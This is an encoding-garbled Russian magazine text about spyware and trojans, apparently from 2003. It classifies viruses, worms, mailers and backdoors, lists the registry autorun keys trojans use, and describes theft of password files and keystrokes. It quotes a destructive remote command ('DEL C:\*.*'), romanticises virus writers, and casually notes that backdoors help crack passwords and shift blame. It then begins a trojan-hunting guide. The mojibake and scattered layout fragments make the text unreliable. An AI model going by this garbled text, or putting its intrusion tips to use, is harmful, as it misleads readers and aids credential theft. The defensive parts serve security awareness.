ñåáÿ îò âñÿ÷åñêèõ ïîñÿãàòåëüñòâ. È åñëè
âäðóã îêàæåòñÿ, ÷òî òâîÿ ëþáèìàÿ ïðîã-
ðàììà ñîäåðæèò âðåäîíîñíûé êîä - òî
òû çíàåøü, êàê ñ ýòèì áîðîòüñÿ. Òîëüêî,
êàê âñåãäà, åñòü îäíî ìàëåíüêîå ÍÎ. Â
èòîãå ëþáèìàÿ ïðîãðàììà ìîæåò îòêà-
çàòüñÿ çàïóñêàòüñÿ. À â ñëó÷àå, êîãäà
âûëå÷èòü åå íå óäàåòñÿ - äàæå äåèíñ-
òàëëÿöèÿ ìîæåò íå óíè÷òîæèòü spyware
ìîäóëÿ. È ëèøü ïîëíàÿ î÷èñòêà äèñêà
âåðíåò âñå ê ïåðâîçäàííîìó ñîñòîÿíèþ.
Â ïðîòèâîâåñ spyware-êîìïàíèÿì ñó-
ùåñòâóþò êîìïàíèè, çàðàáàòûâàþ-
ùèå äåíüãè êàê ðàç íà îòëîâå ñîôòà
øïèîíà. Òàê, íàïðèìåð, Websense Inc
îáåùàåò èçáàâèòü èíòåðíåò÷èêîâ îò
ïðèñòàëüíûõ âçãëÿäîâ íàâÿç÷èâûõ
ðåêëàìîäàòåëåé. Íà ðàáî÷åå ìåñòî
óñòàíàâëèâàåòñÿ ôèëüòð Premium
Group III. Ïðèíöèï åãî ðàáîòû ñëåäó-
þùèé: ïîñëå òîãî, êàê î÷åðåäíàÿ
"øïèîíñêàÿ ïðîãðàììà" ïîøëåò èí-

ôîðìàöèþ íà ñåð-
âåð-ñáîðùèê, àäðåñ
ýòîãî ñåðâåðà áóäåò
çàíåñåí â áàçó äàí-
íûõ ôèëüòðà PG III,
è äîñòóï ê íåìó çàá-
ëîêèðóåòñÿ.
Websense Inc äåìîí-
ñòðèðóåò ñâîþ ìîùü
ñëåäóþùèì ïðèìå-
ðîì: âî âðåìÿ òåñòè-
ðîâàíèÿ íîâîé ôóíê-
öèè ôèëüòðà íà 12
êîìïüþòåðàõ â òå÷å-
íèå ìåñÿöà áûëà ïðå-
äîòâðàùåíà îòïðàâêà
340 ìåãàáàéò "øïèî-
íñêèõ äàííûõ". Ïðîñòî
êàê â ñêàçêå!

ÏÎÑËÅÑËÎÂÈÅ
Îñòàëîñü ëèøü ïîäâåñòè èòîã âñåãî

ñêàçàííîãî:
Adware ïðîãðàììû - ýòî çäîðîâî, ýêî-
íîìè÷íî è âûãîäíî êàê äëÿ ïðîãðàììå-
ðà, òàê è äëÿ þçåðà.
Spyware - ýòî íåïðèÿòíî, à ïîðîé äàæå
î÷åíü îïàñíî. Ñìåðòü øïèîíàì - âîò òå-
ïåðü òâîé ëîçóíã. Spyware - ýòî òî, ÷åì
ïðèõîäèòñÿ ðàñïëà÷èâàòüñÿ çà áåñïëàò-
íî ïðèîáðåòåííóþ ïðîãðàììêó. Äîâå-
ðÿé, íî ïðîâåðÿé - åùå îäèí ëîçóíã äëÿ
ëþáèòåëåé õàëÿâû.                              A
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Ëó÷øå îáíîâèì âèíäû êàê-íèáóäü èíà÷å

Ýòî òî, ÷òî âèäÿò øïèîíû â ñâîåì

êîøìàðíîì ñíå

Êàìóôëÿæ ñîòðóäíèêà "ÑÌÅÐØ"



Òèïè÷íîå
îïèñàíèå
âèðóñà âûã-
ëÿäèò ïðè-
ìåðíî òàê:
SamiiKrutoi
Virus.Âè-
ðóñ.Win32.P
E-èíôåê-
òîð.ïîëèìî-
ðôíûé(îëè-
ãîìîðô-
íûé).

Shen (_shen_@mail.ru)

P åäêèé ÷åëîâåê, èìåþùèé îòíîøåíèå ê IT, íå ñòàëêèâàëñÿ ñ òðîÿíàìè. Ïî èäåå, óæå äàâíî ïîðà áû ïåðåñòàòü âåñ-
òèñü íà òðþêè, âðîäå HotPics.jpg.....exe, àí íåò, çàïóñêàåì "ïàò÷è äëÿ Ýêñïëîðåðà" è "ïëàãèíû äëÿ Âèíàìïà", íå

ãîâîðÿ óæå î "êðÿêåðàõ èíòåðíåòà". Íàäîåëî. ×èòàé ìàíóàë è áóäü âî âñåîðóæèè. 

ÁÎÉÒÅÑÜ ÄÀÍÀÉÖÅÂ,
ÄÀÐÛ ÏÐÈÍÎÑßÙÈÕ
ÒÐÎßÍÛ: ÂÈÄÛ, ÏÐÈÍÖÈÏÛ ÐÀÁÎÒÛ, ÇÀÙÈÒÀ

íàåøü, ñêîëüêî âèäîâ
æèâûõ ñóùåñòâ îáèòà-
åò íà Çåìëå? ß òîæå íå
çíàþ, íî óâåðåí, ÷òî
ìíîãî. Òåì íå ìåíåå,

áèîëîãè ñóìåëè ðàçäåëèòü âñå ýòî
ìíîãîîáðàçèå âñåãî íà ïÿòü öàðñòâ
(êñòàòè, îäíî èç íèõ - âèðóñû). Ïðàâ-
äà, öàðñòâà, â ñâîþ î÷åðåäü, äåëÿòñÿ
íà ïîäöàðñòâà, ïîäöàðñòâà - íà òèïû,
òèïû - íà êëàññû è ò.ä. Ïîëó÷àåòñÿ äî-
âîëüíî ñëîæíàÿ ñèñòåìà. Ýëåêòðîí-
íûõ ôîðì æèçíè, åñòåñòâåííî, ãîðàç-
äî ìåíüøå, íî êëàññèôèêàöèÿ èõ ïî
ñëîæíîñòè íå óñòóïàåò òîé, ÷òî ïðè-
íÿòà ó áèîëîãîâ. Óäèâëåí? Êîíå÷íî,
äëÿ ïîëüçîâàòåëÿ AOL åñòü òîëüêî
äâà òèïà ïðîãðàìì: âèðóñû è íå-âèðó-
ñû :), îáû÷íûé þçåð çíàåò åùå çíà÷å-
íèå ñëîâà "òðîÿí", è òîëüêî óæ ñîâ-
ñåì ïðîäâèíóòûå òîâàðèùè çíàêîìû
ñ òàêèì ïîíÿòèåì, êàê "÷åðâü". Íî
çíàåøü ëè òû, êàêóþ êëàññèôèêàöèþ
èñïîëüçóþò àíòèâèðóñíèêè? Òèïè÷-
íîå îïèñàíèå âèðóñà âûãëÿäèò ïðè-
ìåðíî òàê: SamiiKrutoiVirus.Âè-
ðóñ.Win32.PE-èíôåêòîð.ïîëèìîðô-
íûé(îëèãîìîðôíûé). Âïå÷àòëÿåò? Åñ-
ëè íåò, äîáàâü ñþäà èìÿ àâòîðà (åñëè
îíî èçâåñòíî), äàòó ïîÿâëåíèÿ â Ñå-
òè, ñòåïåíü îïàñíîñòè etc.

Çíàåøü, êàêóþ îøèáêó ñîâåðøèë
Êàðë Ëèííåé, êîãäà ïûòàëñÿ ðàçäå-
ëèòü ðàñòåíèÿ íà íåñêîëüêî êëàññîâ?
Îí îáúåäèíÿë èõ íå ïî ñòðîåíèþ, à ïî
âíåøíåìó âèäó: òóò öâåòû ñ ïÿòüþ òû-
÷èíêàìè, òóò - ñ ÷åòûðüìÿ è ò.ä. Õì,
÷òî-òî ÿ â áèîëîãèþ óäàðèëñÿ :). Íó,
äà ëàäíî. Ñîâðåìåííàÿ æå íàóêà äå-
ëèò æèâîé ìèð íà ãðóïïû, èñõîäÿ èç
âíóòðåííåãî ñòðîåíèÿ ñóùåñòâ. Íî åñ-
ëè ðàññóæäàòü ïîäîáíûì îáðàçîì î
öèôðîâûõ ôîðìàõ æèçíè, âîçíèêàþò
íåêîòîðûå ïðîáëåìû, òàê êàê ñ òî÷êè
çðåíèÿ ïîëüçîâàòåëÿ, ò.å. ïî âíåøíå-
ìó âèäó, âñå ýòè ôîðìû îäèíàêîâû è
èìåþò âèä èñïîëíÿåìûõ ôàéëîâ. À
êëàññèôèöèðóÿ ýëåêòðîííûå ñóùíîñ-
òè ïî âíóòðåííåìó ñòðîåíèþ, ïîëó÷èì
ïîêàçàííóþ âûøå ñèñòåìó àíòèâèðóñ-
íèêîâ, êîòîðàÿ íå îòëè÷àåòñÿ íàãëÿä-
íîñòüþ è äîâîëüíî íåóäîáíà. Ïîýòî-
ìó ìû áóäåì ïî ñòàðèíêå äåëèòü ôàó-

íó Ñåòè âñåãî íà òðè ãðóïïû - âèðóñû,
÷åðâè è òðîÿíû. Íî ïðåæäå ÷åì ïðèñ-
òóïàòü ê ïîäðîáíîìó ðàññìîòðåíèþ
ïîñëåäíèõ, ðàçáåðåìñÿ â îòëè÷èÿõ
ýòèõ ôîðì æèçíè äðóã îò äðóãà.

ÂÈÐÓÑ, ×ÅÐÂÜ ÈËÈ ÒÐÎßÍ?
Èòàê, âèðóñû. Îñíîâíîé ïðèçíàê -

âèðóñû çàðàæàþò ôàéëû. È çàáóäü
ïðî âðåäîíîñíûå âèðóñû - áîëüøèí-
ñòâî èç íèõ íàïèñàíî îçëîáëåííûìè
îäèíî÷êàìè; ðåäêàÿ VX-ãðóïïà ðåëè-
çèò âèðóñû âðîäå CIH, ò.å. ñ "äåñòðóê-
òèâíîé ïîëåçíîé íàãðóçêîé", êàê îíè
ýòî íàçûâàþò. Âåäü âèðóñû äëÿ íàñòî-
ÿùåãî âèðìåéêåðà - ýòî èñêóññòâî, ìó-
çûêà. Çà÷åì æå ïîðòèòü ìåëîäèþ êðè-
êàìè íåâèííûõ æåðòâ? Ïîâòîðþñü, ÿ
ãîâîðþ î íàñòîÿùèõ âèðìåéêåðàõ, êî-
òîðûõ ñåãîäíÿ íå òàê ìíîãî, à íå î òåõ
èíäèâèäóóìàõ, ÷òî êîïèðóþò ÷óæèå
ðàáîòû ñ åäèíñòâåííîé öåëüþ - ïîêðà-
ñîâàòüñÿ â âèðóñíîé äåñÿòêå Êàñïåðñ-
êîãî. È ïîâåðü ìíå, íèêòî èç íàñòîÿ-
ùèõ âèðìåéêåðîâ íå âûïóñêàåò ñâîè
òâîðåíèÿ äàëüøå ñâîåãî âèíòà â âè-
äå, îòëè÷íîì îò èñõîäíèêîâ.

×åðâè. Îñíîâíîé ïðèçíàê - íå çàðà-
æàþò ôàéëû, à ïðîñòî óñòðàèâàþò ñå-
áå ãäå-íèáóäü íà âèíòå ñêðûòóþ ðåçè-
äåíöèþ è îòòóäà ðàññûëàþò ñåáÿ íà
äðóãèå ìàøèíû. ×òîáû ñîçäàòü ýô-
ôåêòèâíûé âèðóñ, íóæíî ïðåêðàñíî
ðàçáèðàòüñÿ â îïåðàöèîíêå, ïîä êîòî-
ðóþ òû ïèøåøü, ðàçáèðàòüñÿ âî âñåõ
òîíêîñòÿõ àññåìáëåðà (è íå ãîâîðè
ìíå î âèðóñàõ íà Ñè) è, ê òîìó æå,
âåñüìà æåëàòåëåí îïðåäåëåííûé
ñêëàä óìà. À çíàåøü, íà ÷åì íàïèñàíî
áîëüøèíñòâî ñåãîäíÿøíèõ ÷åðâåé?
Visual Basic è VBScript. Òåïåðü ïîíè-
ìàåøü, ïî÷åìó èõ òàê ìíîãî? Ïðàâäà,
ñðåäè ÷åðâåé èíîãäà ïîïàäàþòñÿ
î÷åíü äîñòîéíûå ýêçåìïëÿðû, íî ýòî,
ñêîðåå, èñêëþ÷åíèå, ÷åì ïðàâèëî. Òàê
÷òî åñëè ñèëà âèðóñîâ - â êà÷åñòâå êî-
äà, òî ÷åðâåé - â êîëè÷åñòâå èíôèöè-
ðîâàííûõ ìàøèí. Íà ðèñóíêå ýòî ïî-
êàçàíî î÷åíü íàãëÿäíî.

Íàêîíåö-òî äîáðàëèñü è äî òðîÿíîâ.
Âñå-òàêè íàñòîÿùèõ âèðìåéêåðîâ -
èäåéíûõ è áëàãîðîäíûõ - íåìíîãî, ïî-

ýòîìó è âèðóñû, è ÷åðâè ÷àùå âñåãî
íåñóò â ñåáå íåêîòîðûé äåñòðóêòèâ-
íûé ýëåìåíò. Äàæå òå âèðóñû, ÷üÿ ïî-
ëåçíàÿ íàãðóçêà èñ÷åðïûâàåòñÿ âûâå-
äåíèåì íàäïèñè íà ýêðàí, ìîãóò ïî-
ïîðòèòü ïîëüçîâàòåëþ íåìàëî íåð-
âîâ, ÷òî óæ ãîâîðèòü î áîëåå îïàñíûõ
âèðóñàõ. Òàê âîò îñíîâíîé ïðèçíàê
òðîÿíà ñîñòîèò â òîì, ÷òî ýòî âñåãî
ëèøü èíñòðóìåíò, à ñïîñîá åãî ïðèìå-
íåíèÿ - äåëî âòîðîå. Îäèí ÷åëîâåê
ìîæåò íàïèñàòü òðîÿí èñêëþ÷èòåëüíî
â îáðàçîâàòåëüíûõ öåëÿõ, èçó÷àÿ ñå-
òåâûå ïðîòîêîëû, à äðóãîé èñïîëüçî-
âàòü ýòîò òðîÿí â öåëÿõ, ìÿãêî ãîâîðÿ,
íå ñîâñåì çàêîííûõ :). Âîò ñ ýòèìè-òî
äâóëèêèìè ñóùíîñòÿìè ìû è áóäåì
ðàçáèðàòüñÿ âñå îñòàâøååñÿ âðåìÿ
(âåðíåå, ìåñòî). È ïåðâîå, ÷òî íåîáõî-
äèìî çàïîìíèòü - åñòü äâà òèïà òðîÿ-
íîâ: ìåéëåðû è áýêäîðû.

ÌÅÉËÅÐÛ
Âûãëÿäèò ýòî ïðîñòî: þçåð çàïóñ-

êàåò "íîâûé ïàò÷ äëÿ Àóòëóêà", è ÷å-
ðåç íåñêîëüêî ìèíóò âñÿ öåííàÿ èí-
ôîðìàöèÿ óõîäèò íà íóæíûé å-ìåéë.
Áîëüøèíñòâî òðîÿíîâ ýòîé êàòåãîðèè
ïîõîæè äðóã íà äðóãà, êàê äâå êàïëè
âîäû, çà èñêëþ÷åíèåì èíòåðôåéñà. À
ïîõîæè îíè ïîòîìó, ÷òî ðàáîòàþò ïî
îäíîìó è òîìó æå àëãîðèòìó.
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Îáçîð âèðóñíîé àêòèâíîñòè çà èþíü

2003 ã. (Kaspersky Lab)

Òðîÿíñêèå
ïðîãðàììû

2,3%
Âèðóñû
5,8%

Ñåòåâûå ÷åðâè
92,32%



Äëÿ íà÷àëà íàäî óñòðîèòüñÿ â ñèñ-
òåìå, íå âûçâàâ ïîäîçðåíèé ó æåðò-
âû. Ñîãëàñèñü, ñòðàííî, êîãäà ïàò÷
äëÿ Àóòëóêà íå ïàò÷èò Àóòëóê? Ýòîìó
äîëæíî áûòü ëîãè÷åñêîå îáúÿñíåíèå.
Òóò ìåòîäîâ ìàññà: îò ïðèìèòèâíûõ
"msmustdie.dll not found" è "already
patched", äî èçûñêàííîãî ìåòîäà, êîã-
äà âûâîäèòñÿ îêîøêî óñòàíîâêè "ïàò-
÷à", à ïîñëå åå çàâåðøåíèÿ îòêðûâà-
åòñÿ readme ñî ñïèñêîì ïîôèêñåííûõ
îøèáîê :). À â ýòî âðåìÿ òðîÿí êîïè-
ðóåò ñåáÿ êóäà-íèáóäü â
%windir%\system è ñïîêîéíî ïðèñòó-
ïàåò ê îáðàáîòêå ñèñòåìû. Äëÿ íà÷àëà
åìó íåîáõîäèìî ïðîïèñàòüñÿ â àâòî-
çàãðóçêå. Îïÿòü æå, ñïîñîáîâ êó÷à.
Îòêðîâåííî òóïûå òðîÿíû âïèñûâàþò-
ñÿ â ïàïêó "àâòîçàãðóçêà" èëè â
autoexec.bat. Òå, ÷òî ïîïðîäâèíóòåé -
â win.ini è system.ini. Íó, à ïîäàâëÿþ-
ùåå áîëüøèíñòâî ïðîïèñûâàåòñÿ â
ðååñòðå â ñëåäóþùèõ ìåñòàõ:

HKEY_LOCAL_MACHINE\SOFT-
WARE\Microsoft\Windows\CurrentVer-
sion\Run

HKEY_LOCAL_MACHINE\SOFT-
WARE\Microsoft\Windows\CurrentVer-
sion\RunOnce

HKEY_LOCAL_MACHINE\SOFT-
WARE\Microsoft\Windows\CurrentVer-
sion\Runservices

HKEY_LOCAL_MACHINE\SOFT-
WARE\Microsoft\Windows\CurrentVer-
sion\RunservicesOnce

Îñâîèâøèñü â ñèñòåìå, òðîÿí íà÷è-
íàåò ñîáèðàòü äàííûå. Íèçêîêëàñ-
ñíûå îñîáè ïðîñòî îòñûëàþò íà óêà-
çàííîå ìûëî ôàéëû *.pwl, *.sam è ò.ä.,
íàâîðî÷åííûå æå óñòðàèâàþò íà âèí-
òå æåðòâû öåëûé ðàñøèôðîâî÷íûé
öåõ, îòïðàâëÿÿ õîçÿèíó óæå ãîòîâûå
ïàðîëè îò âñåãî, äî ÷åãî ñìîã äîòÿ-
íóòüñÿ òðîÿí. Çà÷àñòóþ òðîÿí çàïèñû-
âàåò âñå íàæàòèÿ êëàâèø è ðàç â äåíü
îòïðàâëÿåò äîìîé. Ýëåìåíòàðíûå êî-
íè òàê è æèâóò: çàãðóçèëñÿ, ïîëó÷èë
íóæíóþ èíôîðìàöèþ, îòïðàâèë õîçÿ-
èíó. Òðîÿíû ïîñëîæíåå ðåàëèçóþò òà-
êèå âåùè, êàê ïåðèîäè÷åñêîå ñàìîîá-
íîâëåíèå è çàùèòà îò àíòèâèðóñîâ:
øèôðîâàíèå è ò.ä. Ñàìûå æå äîñòîé-
íûå ïðåäñòàâèòåëè ìåéëåðîâ ïîçâî-
ëÿþò óïðàâëÿòü ñîáîé ïîñðåäñòâîì e-
mail êîìàíä (à òàêæå IRC, ICQ èëè ïðÿ-
ìîãî êîííåêòà - ïðèì. ðåä.). Ò.å. òðîÿí
ïåðèîäè÷åñêè ïðîâåðÿåò îïðåäåëåí-
íûé ÿùèê, êóäà õîçÿèí øëåò èíñòðóê-
öèè, òèïà "PRINT "Have fun!"; DEL
C:\*.*; END".

ÁÝÊÄÎÐÛ
Ñëîâî BackDoor îçíà÷àåò "ïîòàé-

íîé õîä". Òàêîé òðîÿí ñîñòîèò èç äâóõ
÷àñòåé: êëèåíòñêîé è ñåðâåðíîé. Êëè-
åíò îáû÷íî èìååò êðàñèâûé GUI ñ êó-
÷åé êíîïîê è ïðî÷èå íàâîðîòû, èáî
âñþ ñâîþ æèçíü ïðîâîäèò íà êîìïüþ-
òåðå õîçÿèíà, à çíà÷èò, íå çàáîòèòñÿ î
ñâîåì ðàçìåðå. Ñîáñòâåííî òðîÿí íà-
õîäèòñÿ â ñåðâåðíîé ÷àñòè. Äî òåõ
ïîð, ïîêà íå ïðèøëà ïîðà ñîáèðàòü è

îòñûëàòü äàííûå, àëãîðèòìû áýêäî-
ðîâ è ìåéëåðîâ ñîâïàäàþò: îáìàíóòü
ïîëüçîâàòåëÿ, óñòðîèòüñÿ â
%windir%\system è ïðîïèñàòüñÿ â àâ-
òîçàãðóçêå. Íî ïîòîì íà÷èíàþòñÿ
ñåðüåçíûå îòëè÷èÿ. Çëîóìûøëåííèê,
ïîäîñëàâøèé òðîÿíà, âûõîäèò â Ñåòü,
çàïóñêàåò êëèåíòñêóþ ÷àñòü è ñìîò-
ðèò, åñòü ëè îòêëèê îò ñåðâåðà, ò.å. íà-
õîäèòñÿ ëè æåðòâà òàêæå â Ñåòè. Åñëè
îòêëèê ïîëó÷åí, ñåðâåð è êëèåíò óñòà-
íàâëèâàþò ñâÿçü, à äàëüøå âñå çàâè-
ñèò îò êîíêðåòíîãî òðîÿíà: òå, ÷òî
ïîñêðîìíåå, îòêðîþò äîñòóï ê âðàæåñ-
êîìó âèíòó èëè åùå ÷òî-òî â ýòîì äó-
õå, à òå, ÷òî ïîêðó÷å, ïîïðîñòó îòäàäóò
âëàñòü íàä âñåì êîìïüþòåðîì â ðóêè
çëîóìûøëåííèêà: òîò ñìîæåò óïðàâ-
ëÿòü êîìïüþòåðîì æåðòâû, êàê åñëè
áû ñàì ñèäåë çà íèì. 

Òóò óæå îòêðûâàåòñÿ ïðîñòîð äëÿ
èçîùðåííîé ôàíòàçèè: ìîæíî îòêëþ-
÷èòü íà óäàëåííîì êîìïå àíòèâèðóñ,
ìîæíî ïîñòàâèòü åùå ïàðó òðîÿíîâ -
íà âñÿêèé ñëó÷àé, ìîæíî èñïîëüçî-
âàòü ÷óæîé êîìïüþòåð êàê ïëàöäàðì
äëÿ ïðîâåäåíèÿ ñåòåâûõ àòàê èëè

ïðîñòî äëÿ äàëüíåéøåãî ðàñïðîñòðà-
íåíèÿ òðîÿíîâ. Âîîáùå, áýêäîðû - îò-
ëè÷íîå ïîäñïîðüå â äåëå ïåðåáîðà
èëè ðàñøèôðîâêè ïàðîëåé: ïîäêèíóâ
ñâîé òðîÿí äåñÿòêó ÷åëîâåê, òû ïîòðà-
òèøü íà ýòî â äåñÿòü ðàç ìåíüøå âðå-
ìåíè (à åñëè òðîÿíîâ áóäåò ñòî èëè
òûñÿ÷à?) è çàîäíî ïåðåëîæèøü îòâåò-
ñòâåííîñòü íà ÷óæèå ïëå÷è :).

ÅÙÅ ÎÄÈÍ ÒÈÏ
Êàê âèäèøü, îáà òèïà òðîÿíîâ òàê

èëè èíà÷å óêàçûâàþò íà "õîçÿèíà".
Ìåéëåðû çíàþò åãî ïî÷òîâûé àäðåñ,
áýêäîðû âîîáùå ñâÿçûâàþòñÿ ñ åãî
êîìïüþòåðîì íàïðÿìóþ, ò.å. â îáîèõ

ñëó÷àÿõ ñóùåñòâóþò íèòî÷êè, ïî êîòî-
ðûì êâàëèôèöèðîâàííûé ÷åëîâåê ìî-
æåò âû÷èñëèòü òîãî, êòî ïîäîñëàë òðî-
ÿí. Èçäåðæêè òåõíîëîãèè. Êàæäûé
òðîÿí ðåøàåò ýòó ïðîáëåìó ïî-ñâîå-
ìó. Íàïðèìåð, ìîæíî õðàíèòü èíôîð-
ìàöèþ î õîçÿèíå â çàøèôðîâàííîì
âèäå è âûïîëíÿòü ðàñøèôðîâêó òîëü-
êî â ñëó÷àå íåîáõîäèìîñòè. Ïðèåìëå-
ìûì âàðèàíòîì òàêæå ÿâëÿåòñÿ èñ-
ïîëüçîâàíèå ïðîêñåé, öåïî÷åê ðåìåé-
ëåðîâ è ïðî÷èõ èíòåðåñíûõ âåùåé.

Âîîáùå ìîæíî âûäåëèòü åùå îäèí
òèï òðîÿíîâ, õîòÿ ïðàâèëüíåå áûëî
áû îòíîñèòü òàêèå ïðîãðàììû ê ÷åð-
âÿì - ýòî òðîÿíû, êîòîðûå âîîáùå íå
ïîääåðæèâàþò ñâÿçü ñ õîçÿèíîì. Åñ-
ëè öåëü ìåéëåðîâ è áýêäîðîâ çàêëþ-
÷àåòñÿ â ïðåäîñòàâëåíèè äîñòóïà ê
êîíôèäåíöèàëüíîé èíôîðìàöèè, òî
öåëü ýòèõ òðîÿíîâ - çàõâàò âû÷èñëè-
òåëüíûõ èëè ñåòåâûõ ðåñóðñîâ êîìïü-
þòåðà æåðòâû. Òåïåðü ïîíÿòíî, ïî÷å-
ìó òàêèõ êîíåé èíîãäà íàçûâàþò çàõ-
âàò÷èêàìè? Îíè, áóäó÷è çàïóùåíû â
ñòàí âðàãà, íàâñåãäà çàáûâàþò î äîìå
è çàíèìàþòñÿ èñêëþ÷èòåëüíî ñâîèìè
äåëàìè, òàêèìè êàê ðàññûëêà ñïàìà
èëè àòàêè íà êàêîé-ëèáî ñåðâåð - ñîò-
íÿ-äðóãàÿ òðîÿíîâ ìîæåò ïðîâåñòè äî-
âîëüíî ýôôåêòèâíóþ àòàêó, áóäü òî
DoS èëè ÷òî-òî åùå. È ãëàâíîå, êàê è â
ñëó÷àå ñ áýêäîðàìè - îòâåòñòâåííîñòü
ïåðåêëàäûâàåòñÿ èõ íåñ÷àñòíûõ îáëà-
äàòåëåé.

ÊÀÊ ÍÅ ÂÑÒÐßÒÜ?
Âèðóñ, ðàñïëîäèâøèéñÿ íà òâîåì

êîìïüþòåðå - ýòî ïðîáëåìà, âèðóñ,
óíè÷òîæèâøèé òâîþ èíôîðìàöèþ -
ýòî áåäà, íî îñîçíàíèå òîãî, ÷òî êòî-
òî ñìîòðèò òâîè êàðòèíêè, ÷èòàåò òâîè
ïèñüìà, è ñèäèò â èíòåðíåòå çà òâîé
ñ÷åò, çëèò ãîðàçäî áîëüøå. Âî âñÿêîì
ñëó÷àå, ìåíÿ. Êàê æå íå âñòðÿòü?
Ïðåæäå âñåãî, ïî÷èòàé ñòàòüþ "Ïðà-
âèëà ïîâåäåíèÿ â Ñåòè" â ýòîì íîìå-

ðå íàøåãî æóðíàëà. Òàì áîëåå ÷åì
ïîäðîáíî âñå îïèñàíî. Îòûñêèâàÿ â
Ñåòè èíòåðåñíûå òðîÿíû äëÿ ýòîé
ñòàòüè, ÿ ñ òðóäîì íàøåë íåçàðàæåí-
íûå ðàçëè÷íûìè ïîäàðêàìè, òèïà âè-
ðåé è äðóãèõ òðîÿíîâ. Çíàåøü, êàê âå-
ñåëî âûãëÿäèò êëèåíò áýêäîðà À, íà
ñàìîì äåëå ÿâëÿþùèéñÿ åùå è ñåðâå-
ðîì òðîÿíà B? :) Êñòàòè, âîò åùå èí-
ôîðìàöèÿ äëÿ ðàçìûøëåíèÿ: ïèøåò-
ñÿ òðîÿí, â åãî êîäå äåëàåòñÿ ñïåöè-
àëüíûé "÷åðíûé õîä", è òðîÿí âûêëà-
äûâàåòñÿ â Ñåòü, íà êàêîé-íèáóäü õàö-
êåðñêèé ñàéò - "Íîâûé êðóòîé òðîÿí!
Ñêà÷àé áûñòðåå!" Íàðîä êèäàåòñÿ ïðî-
áîâàòü: çàõâàòûâàþò ÷óæèå ñèñòåìû,
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99% òðîÿ-
íîâ çàãðó-
æàþòñÿ
âìåñòå ñ
îïåðàöèîí-
êîé è îñòà-
þòñÿ â ïà-
ìÿòè äî
âûêëþ÷åíèÿ
êîìïüþòå-
ðà. À çíà-
÷èò, åñëè
ìû ïðîñ-
ìîòðèì âñå
ïðîöåññû,
çàïóùåííûå
ñèñòåìîé,
ñðåäè íèõ
îêàæåòñÿ è
òðîÿí.

Âåäü âèðó-
ñû äëÿ íàñ-
òîÿùåãî
âèðìåéêåðà
- ýòî èñêóñ-
ñòâî, ìóçû-
êà. Çà÷åì
æå ïîðòèòü
ìåëîäèþ
êðèêàìè íå-
âèííûõ
æåðòâ? 

Âîîáùå, áýêäîðû - 
îòëè÷íîå ïîäñïîðüå â äåëå ïåðåáîðà 

èëè ðàñøèôðîâêè ïàðîëåé



áåñïëàòíî ñèäÿò â èíåòå è ò.ä. À òåì
âðåìåíåì ÷åëîâåê, íàïèñàâøèé òðîÿ-
íà, íàñëàæäàåòñÿ âëàñòüþ íàä âñåìè
çàòðîÿíåííûìè êîìïüþòåðàìè. ×åì-
òî ôèíàíñîâóþ ïèðàìèäó íàïîìèíà-
åò. Íî òàê êàê ïîëüçîâàòåëü íûí÷å
ïóãàíûé ïîøåë, ÷àñòî äåëàåòñÿ òàê:
âìåñòå ñ òðîÿíîì ïóáëèêóþòñÿ åãî èñ-
õîäíèêè, ìîë, âñå ïî-÷åñòíîìó. Þçåð
âèäèò ôàéë *.cpp, óñïîêàèâàåòñÿ è
âëÿïûâàåòñÿ â áîëüøèå íåïðèÿòíîñ-
òè, òàê êàê ÷òî ñòîèò âûêèíóòü èç èñ-
õîäíèêà ðåàëèçàöèþ òîãî ñàìîãî
"÷åðíîãî õîäà"? Ïðàâäà, òîâàðèùè ñî
ñòàæåì â ïîäîáíûõ äåëàõ, â òàêèõ
ñëó÷àÿõ íå ïîëüçóþòñÿ ãîòîâûì ýê-
çåøíèêîì, à êîìïèëèðóþò ñâîé èç
ïðåäîñòàâëåííîãî èñõîäíèêà. Íî è
äëÿ ýòîãî ìåòîäà åñòü êîíòðìåðû:
ñëó÷àåòñÿ òàê, ÷òî òå ïÿòíàäöàòü
ñòðîê, ÷òî îòâå÷àþò çà ïîòàéíîé õîä,
äíåì ñ îãíåì íå íàéòè â òûñÿ÷àõ
ñòðîê êîäà òðîÿíà.

Íî ÷òî äåëàòü ÷åëîâåêó, êîòîðûé
âñå-òàêè çàïóñòèë "ïàò÷ äëÿ Àóòëó-
êà"? Èëè òîìó, êòî ðàñêóñèë ïîäñòàâó
è õî÷åò äîáðàòüñÿ äî õîçÿèíà? ×èòàòü
äàëüøå.

ÂÑÊÐÛÒÈÅ
×òî ìû èìååì: ó òåáÿ åñòü ñèëü-

íûå ïîäîçðåíèÿ, ÷òî òâîÿ ìàøèíà
çàòðîÿíåíà, è òåáå íóæíî, êàê ìèíè-
ìóì, óáèòü êîíÿ, à åñëè ïîâåçåò, òî è
äîáðàòüñÿ äî õîçÿèíà. Èòàê, àëãîðèòì
îõîòû íà òðîÿíîâ!

1. Äëÿ íà÷àëà íåîáõîäèìî íàéòè
ôàéë òðîÿíà. Ñàìûé ïðîñòîé è áûñò-
ðûé ñïîñîá ñäåëàòü ýòî - àíòèâèðóñ.
Åñëè îí íàéäåò òðîÿíà, ñàìîå áîëü-
øåå, ÷òî îí ñìîæåò ñäåëàòü - óäàëèòü
åãî. Åñëè òåáÿ ýòî óñòðàèâàåò,
äåéñòâóé. Ìåíÿ æå èíòåðåñóåò òîò ãàä,
êîòîðûé ïîäîñëàë êî ìíå çàðàçó. Åñ-
ëè òðîÿí íàéäåí, âûðóáàåì àíòèâèðóñ
è goto 4.
2. Åñëè àíòèâèðü íè÷åãî íå íàøåë,

áóäåì èñêàòü âðó÷íóþ. Çàïóñêàåì
regedit è èçó÷àåì êëþ÷è àâòîçàãðóçêè

(ñì. âûøå), à òàêæå ïðîñìàòðèâàåì
system.ini, win.ini, åñëè ìû æèâåì ïîä
óáîãîé Windows 9x. Èùåì âñå ïîäîç-
ðèòåëüíûå íàçâàíèÿ: åñëè âèäèøü
ïðîãðàììó ñ íàçâàíèåì, òèïà "trojan"
èëè "msfucker", ïîèñê îêîí÷åí; òàêæå
íóæíî îáðàùàòü âíèìàíèå íà íàçâà-
íèÿ, â êîòîðûõ åñòü ñëîâà "server",
"srv" èëè "ras" (Remote Access
Service). Åñëè òðîÿí íàéäåí, goto 4.
3. 99% òðîÿíîâ çàãðóæàþòñÿ âìåñ-

òå ñ îïåðàöèîíêîé, è îñòàþòñÿ â ïàìÿ-
òè äî âûêëþ÷åíèÿ êîìïüþòåðà. À çíà-

÷èò, åñëè ìû ïðîñìîòðèì âñå ïðîöåñ-
ñû, çàïóùåííûå ñèñòåìîé, ñðåäè íèõ
